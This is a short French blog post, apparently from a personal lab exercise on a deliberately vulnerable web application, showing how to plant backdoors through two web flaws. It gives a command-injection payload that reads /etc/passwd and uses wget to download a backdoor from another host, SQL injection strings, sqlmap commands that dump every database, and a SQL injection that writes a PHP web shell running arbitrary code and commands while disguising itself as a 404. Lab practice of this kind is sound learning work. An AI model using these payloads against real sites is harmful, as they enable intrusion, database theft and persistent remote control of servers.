Je me suis fait un petit (Low !) entrainement à la sécurité informatique des sites Internet.
J'ai modifié la configuration pour me permettre de comprendre les mécanisme d'attaque et d'envoie de backdoor.
Nous verrons ici, comment il est possible d'écrire une backdoor via deux failles Web.
0x01. REMOTE EXECUTION
Remote Execution: ; cat /etc/passwd ; which wget ; pwd # Upload backdoor ; wget http://172.168.248.131/bd.txt -O /opt/lampp/htdocs/vulnerabilities/exec/backdoor-from-remote-execution.php
0x02. SQL INJECTION
-- SQL Injections: -- Test ' OR ''=' -- Recherche de tables par défaut 1' UNION SELECT user,password FROM users WHERE ''='
Utilisation de sqlmap pour dumper les bases de données :
sqlmap --cookie='PHPSESSID=30356p6ofgultlfgd4evck5sg4; security=high' -u 'http://172.168.248.130/vulnerabilities/sqli/?id=1&Submit=Submit' --dbs sqlmap --cookie='PHPSESSID=30356p6ofgultlfgd4evck5sg4; security=high' -u 'http://172.168.248.130/vulnerabilities/sqli/?id=1&Submit=Submit' --dump-all
Ecriture de la backdoor via une injection SQL.
PS : sans saut de ligne
1' UNION SELECT '<?php IF( isset($_GET["php"]) ) @eval($_GET["php"]); ELSEIF( isset($_GET["cmd"]) ) @system($_GET["cmd"]); ELSE header("HTTP/1.1 404 Not Found"); ?>',password INTO OUTFILE '/opt/lampp/htdocs/vulnerabilities/sqli/backdoor-from-inj-SQL.php' FROM users WHERE ''='
=> Écrit par : Nicolas, le 07 juillet 2014